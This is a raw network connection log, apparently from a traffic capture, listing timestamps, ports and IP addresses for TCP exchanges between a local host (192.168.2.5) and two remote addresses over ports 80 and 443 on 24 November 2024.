Nov 24, 2024 10:24:15.783802032 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.783848047 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.783888102 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.785056114 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.785119057 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.785198927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.785240889 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.786235094 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.786281109 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.786309004 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.786353111 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.787209988 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.787255049 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.787266016 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.787308931 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.788276911 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.788327932 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.788356066 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.788368940 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.789424896 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.789485931 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.789525032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.789565086 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.790570974 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.790620089 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.790695906 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.790734053 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.791735888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.791786909 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.791825056 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.791867018 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.792932987 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.792979002 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.793025017 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.793075085 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.793956041 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.794009924 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.794109106 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.794156075 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.795205116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.795258045 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.795269966 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.795365095 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.796225071 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.796272039 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.796349049 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.796391964 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.797394037 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.797436953 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.797475100 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.797516108 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.798480988 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.798556089 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.798574924 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.798638105 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.799601078 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.799649954 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.799694061 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.799738884 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.800740957 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.800791979 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.800837994 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.800880909 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.801851988 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.801901102 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.801945925 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.801990032 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.802958965 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.803010941 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.903923035 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.906884909 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.906933069 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.906939983 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.907016039 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.907109022 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.907136917 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.907157898 CET	49819	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.907166004 CET	443	49819	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.910722017 CET	49824	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.910748959 CET	443	49824	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.910823107 CET	49824	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.910988092 CET	49824	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.910995007 CET	443	49824	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.945137978 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.945183992 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.945197105 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.945233107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.945604086 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.945652008 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.945719004 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.945768118 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.946808100 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.946851015 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.946890116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.946960926 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.947885990 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.947932005 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.947963953 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.948007107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.949011087 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.949055910 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.949167013 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.949208975 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.950149059 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.950201988 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.950299978 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.950340986 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.951244116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.951282978 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.951356888 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.951399088 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.952385902 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.952435970 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.952474117 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.952514887 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.953531981 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.953561068 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.953577042 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.953598022 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.954715014 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.954777002 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.954823017 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.954866886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.955776930 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.955827951 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.955862045 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.955904961 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.956969976 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.957021952 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.957056999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.957101107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.958064079 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.958110094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.958154917 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.958200932 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.959203005 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.959285975 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.959336042 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.959378958 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.960330963 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.960357904 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.960382938 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.960398912 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.961431980 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.961466074 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.961478949 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.961508036 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.962575912 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.962641001 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.962681055 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.962718964 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.963717937 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.963767052 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.963794947 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.963836908 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.964862108 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.964916945 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.964956999 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.965004921 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.965975046 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.966022968 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.966089010 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.966135025 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.967106104 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.967154980 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.967199087 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.967247009 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.968242884 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.968287945 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.968339920 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.968381882 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.969415903 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.969470024 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.969517946 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.969561100 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.970510960 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.970552921 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.970627069 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.970665932 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.971667051 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.971713066 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.971750975 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.971801996 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.972763062 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.972805977 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.972896099 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.972939014 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.973902941 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.973949909 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.973995924 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.974035978 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.975042105 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.975085020 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.975137949 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.975183010 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.976174116 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.976231098 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.976402044 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.976447105 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.977319002 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.977364063 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.977448940 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.977511883 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.978441000 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.978491068 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.978571892 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.978620052 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.979588032 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.979631901 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.979667902 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.979711056 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.980722904 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.980833054 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.980863094 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.980875969 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.981873989 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.981914043 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.981992006 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.982031107 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.982986927 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.983041048 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.983086109 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.983131886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.984126091 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.984170914 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.984239101 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.984283924 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.985245943 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.985299110 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.985342979 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.985394001 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.986155987 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.986355066 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.986401081 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.986440897 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.986486912 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.987525940 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.987597942 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.987700939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.987761974 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.988625050 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.988679886 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.988683939 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.988723040 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.989530087 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.989589930 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.989650965 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.989670992 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.989684105 CET	49821	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.989690065 CET	443	49821	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.989775896 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.989815950 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.990004063 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.990047932 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.990919113 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.990969896 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.991034985 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.991076946 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.992002964 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.992043972 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.992192984 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.992233992 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.992717028 CET	49825	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.992734909 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.992800951 CET	49825	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.992939949 CET	49825	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:15.992953062 CET	443	49825	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:15.993216038 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.993263960 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.993308067 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.993350029 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.994293928 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.994344950 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.994383097 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.994426966 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.995421886 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.995466948 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.995531082 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.995575905 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.996568918 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.996613979 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.996735096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.996777058 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.997718096 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.997785091 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.997816086 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.997858047 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.998823881 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.998868942 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.998960018 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:15.999008894 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:15.999955893 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.000027895 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.000123978 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.000166893 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.001085043 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.001130104 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.001173019 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.001214981 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.002211094 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.002255917 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.002331972 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.002381086 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.003354073 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.003400087 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.003441095 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.003484011 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.004476070 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.004519939 CET	49813	80	192.168.2.5	31.41.244.11
Nov 24, 2024 10:24:16.023739100 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.026875973 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.026943922 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.026989937 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.027002096 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.027010918 CET	49820	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.027015924 CET	443	49820	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.029858112 CET	49826	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.029872894 CET	443	49826	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.029942989 CET	49826	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.030088902 CET	49826	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.030101061 CET	443	49826	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.062517881 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.066082001 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.066134930 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.066855907 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.066862106 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.066869974 CET	49822	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.066873074 CET	443	49822	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.069304943 CET	49827	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.069315910 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.069381952 CET	49827	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.069509983 CET	49827	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.069520950 CET	443	49827	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.104151011 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.104650021 CET	49823	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.104665041 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.105257034 CET	49823	443	192.168.2.5	13.107.246.63
Nov 24, 2024 10:24:16.105262995 CET	443	49823	13.107.246.63	192.168.2.5
Nov 24, 2024 10:24:16.146259069 CET	80	49813	31.41.244.11	192.168.2.5
Nov 24, 2024 10:24:16.146274090 CET	80	49813	31.41.244.11	192.168.2.5
